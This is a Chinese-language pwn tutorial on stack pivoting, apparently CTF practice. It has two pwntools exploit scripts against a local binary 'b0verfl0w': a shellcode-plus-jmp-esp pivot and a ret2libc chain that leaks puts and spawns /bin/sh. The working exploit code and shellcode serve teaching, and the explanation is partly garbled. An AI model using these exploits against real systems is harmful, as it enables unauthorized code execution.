【Pwn-花式栈溢出技巧-stack pivoting】此文章归类为:Pwn。
1. 原理
劫持栈指针(ESP)指向攻击者想让执行的地方。
可能在以下情况需要使用 stack pivoting
- 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
- 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
- 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用

2 使用条件
利用 stack pivoting 有以下几个要求
- 可以控制程序执行流。
- 可以控制 sp 指针(栈顶指针)。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets 一般是
- heap。但是这个需要我们能够泄露堆地址。
程序本身并没有开启堆栈保护,所以我们可以在栈上布置 shellcode 并执行。基本利用思路如下
- 利用栈溢出布置 shellcode
- 控制 eip 指向 shellcode 处
3. Exp解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | from pwn import *
p = process( 'b0verfl0w' )
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 + = "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 + = "\x0b\xcd\x80"
print ( len (shellcode_x86))
print ( "shellcode_x86 :" , ( 0x20 - len (shellcode_x86)) * 'b' )
sub_esp_jmp = asm( 'sub esp, 0x28;jmp esp' )
jmp_esp = 0x08048504
payload = shellcode_x86 + ( 0x20 - len (shellcode_x86)) * 'b' + 'cccc' + p32(jmp_esp) + sub_esp_jmp
p.sendline(payload)
p.interactive()
|
生成shellcode
1 2 3 | shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 + = "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 + = "\x0b\xcd\x80"
|
把shellcode放到寄存器中, 因为寄存器的存储大小是0x20 用shellcode的长度减去0x20得到shellcode不足溢出并补充'b'
1 | shellcode_x86 + ( 0x20 - len (shellcode_x86)) * 'b'
|
ebp填充
跳转到下一个栈帧的栈顶
jmp_esp
重新定义栈大小并跳转到esp栈顶
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
接着溢出溢出到下一栈帧改变栈帧的内容向上太高栈顶,然后跳转栈顶的shellcode上。
p32(jmp_esp) + sub_esp_jmp
1 2 3 4 5 | jmp_esp = 0x08048504
....
sub_esp_jmp = asm( 'sub esp, 0x28;jmp esp' )
....
p32(jmp_esp) + sub_esp_jmp
|

4.Exp2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | from pwn import *
p = process( 'b0verfl0w' )
elf = ELF( 'b0verfl0w' )
libc = ELF( 'libc.so' )
puts_plt = elf.symbols[ 'puts' ]
puts_got = elf.got[ 'puts' ]
_start_plt = elf.symbols[ '_start' ]
print ( "puts_got: %x" % puts_got)
if args.G:
gdb.attach(p, 'b *vul' )
payload = 'a' * 32 + 'bbbb' + p32(puts_plt) + p32(_start_plt) + p32(puts_got)
p.sendline(payload)
time.sleep( 3 )
puts_addrs_data = p.recv()
puts_addrs = u32(puts_addrs_data[ 137 : 137 + 4 ])
print ( "recv接收到的内容 " , hex (puts_addrs))
libc_addrs = puts_addrs - libc.symbols[ 'puts' ]
system_addrs = libc_addrs + libc.symbols[ 'system' ]
binsh_addr = libc_addrs + next (libc.search( '/bin/sh' ))
print ( hex (libc_addrs))
print ( "system_addrs : " , hex (system_addrs))
payload = 'a' * 32 + 'bbbb' + p32(system_addrs) + 'bbbb' + p32(binsh_addr)
p.sendline(payload)
p.interactive()
|
更多【Pwn-花式栈溢出技巧-stack pivoting】相关视频教程:www.yxfzedu.com